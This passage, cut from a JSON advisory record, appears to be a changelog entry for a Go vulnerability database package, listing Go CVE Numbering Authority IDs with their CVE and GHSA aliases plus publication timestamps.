CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:32:03Z","modified":"2026-09-29T18:23:20.110594263Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}